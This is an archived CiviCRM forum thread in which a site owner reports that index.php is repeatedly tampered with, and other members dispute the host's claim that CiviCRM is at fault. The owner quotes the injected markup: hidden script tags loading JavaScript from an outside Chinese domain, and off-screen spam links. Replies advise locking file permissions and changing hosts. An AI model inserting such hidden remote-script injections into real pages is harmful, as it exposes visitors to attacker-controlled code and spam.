CiviCRM Community Forums (archive)

*

News:

Have a question about CiviCRM?
Get it answered quickly at the new
CiviCRM Stack Exchange Q+A site

This forum was archived on 25 November 2017. Learn more.
How to get involved.
What to do if you think you've found a bug.



  • CiviCRM Community Forums (archive) »
  • Old sections (read-only, deprecated) »
  • Support »
  • Using CiviCRM (Moderator: Dave Greenberg) »
  • Site getting hacked, host blames CiviCRM
Pages: [1]

Author Topic: Site getting hacked, host blames CiviCRM  (Read 2301 times)

dredbird

  • I post occasionally
  • **
  • Posts: 42
  • Karma: 0
Site getting hacked, host blames CiviCRM
October 21, 2010, 08:47:24 pm
We're having a problem where our site is getting hi-jacked once or twice a week. (Not sure hacked or hijacked is even the proper terminology but I'll explain ...)

When the site goes down, it's replaced with this:
Quote
Parse error: syntax error, unexpected '<' in /home/ccag/public_html/index.php on line 41

It's always an easy enough fix as I simply go to index.php line 41 and find something like this:

Code: [Select]
<div style="display:none"><script language=javascript src=http://zhou.p22p.cn/about/3.js></script></div>
<script language=javascript src=http://zhou.p22p.cn/about/4.js></script>
<div style="position: absolute; top: -999px;left: -999px;">
<A href="http://www.surfpage.net" title="surf page">surf page</A>
<A href="http://www.taoxbao.com/" title="taobao">taobao</A>
<A href="http://zhou51672.no54.cuttle.com.cn">taobao</A>
<A href="http://www.1etao.com/" title="etao">etao</A>
</div>

at the end of the page after
Code: [Select]
drupal_page_footer();
and delete it.

It's also added to the index.html file the host provided in case our site was down but come to think of it we don't need so I just deleted it.

So anyway, a week after they said they are investigating I got this after another hack today:

Quote
So far it's looking like this is happening via the civicrm software (or the code produced by it) leaving a vulnerability - in other words, a software security issue.

My reply, yet to be answered, is "what is indicating this to you?" I am skeptical.

We are on a dedicated server with multiple installs.

Any thoughts? More info I could provide?
My worst fear is that the rhythm really is going to get me.

Michał Mach

  • Ask me questions
  • ****
  • Posts: 748
  • Karma: 59
    • CiviCRM site
  • CiviCRM version: latest
  • CMS version: Drupal and Joomla latest
  • MySQL version: numerous
  • PHP version: 5.3 and 5.2
Re: Site getting hacked, host blames CiviCRM
October 22, 2010, 01:56:23 am
Pretty hard to figure out how is it possible to get access to Drupal's index.php via CiviCRM. :-( Definitely let us know what are their clues pointing to CiviCRM, hard to tell anything with this little information.

Thx,
m
Found this reply helpful? Contribute NOW and help us improve CiviCRM with the Make it Happen! initiative.

My absolute favourite: Wordpress Integration!.

Donate Now!

Hershel

  • Forum Godess / God
  • I’m (like) Lobo ;)
  • *****
  • Posts: 4640
  • Karma: 176
    • CiviHosting
  • CiviCRM version: Latest
  • CMS version: Mostly WordPress and Drupal
Re: Site getting hacked, host blames CiviCRM
October 22, 2010, 02:18:25 am
There is no question that CiviCRM could possibly be editing your index.php file--that's simply not possible. To suggest even that some sort of security hole in CiviCRM allows a hacker to edit the index.php file is also essentially completely ridiculous.

If your host allows your sites to be hacked twice a week, I would switch hosts. Especially if he tries to blame someone else for his lack of security.
CiviHosting and CiviOnline -- The CiviCRM hosting experts, since 2007

See here for the official: What to do if you think you've found a bug.

xavier

  • Forum Godess / God
  • I’m (like) Lobo ;)
  • *****
  • Posts: 4453
  • Karma: 161
    • Tech To The People
  • CiviCRM version: yes probably
  • CMS version: drupal
Re: Site getting hacked, host blames CiviCRM
October 22, 2010, 06:00:54 am
Hi,

The webserver (www-data on linux in general) shouldn't be allowed to rewrite your index.php, or any php that isn't a cache. As you are on a dedicated server, change the owner of the drupal/civicrm/whatever programs to another user, and be sure www-data can't modify them, beside the few folders planned to be able to do that.

Beside that, I'd expect a slightly more detailed security report before thinking that's a civiCRM issue ;)

X+
-Hackathon and data journalism about the European parliament 24-26 jan. Watch out the result

Eileen

  • Forum Godess / God
  • I’m (like) Lobo ;)
  • *****
  • Posts: 4195
  • Karma: 218
    • Fuzion
Re: Site getting hacked, host blames CiviCRM
October 22, 2010, 11:37:27 am
I was recently aware of a high-profile hacking which involved a weakness in control panel software -this sort of thing is much more likely because the account under which your web service runs should never be able to edit index.php (under a properly configured server).

Generally speaking if you had experienced a security issue relating to drupal, joomla or CiviCRM it would most likely be the database that is affected not the file system. And certainly not files that the web server account (or any account for that matter) shouldn't have write access to
Make today the day you step up to support CiviCRM and all the amazing organisations that are using it to improve our world - http://civicrm.org/contribute

dredbird

  • I post occasionally
  • **
  • Posts: 42
  • Karma: 0
Re: Site getting hacked, host blames CiviCRM
October 22, 2010, 01:36:14 pm
Thanks for the replies. This is the only info I got after two requests for explanations of why civicrm is suspected:

Quote
I'm getting the info from the sysadmin, will send over as soon as I get it.

As a course of action, I am leaning towards 'it is a waste of time for me to delve too deeply into this, rather it is time for a new host.'
My worst fear is that the rhythm really is going to get me.

Pages: [1]
  • CiviCRM Community Forums (archive) »
  • Old sections (read-only, deprecated) »
  • Support »
  • Using CiviCRM (Moderator: Dave Greenberg) »
  • Site getting hacked, host blames CiviCRM

This forum was archived on 2017-11-26.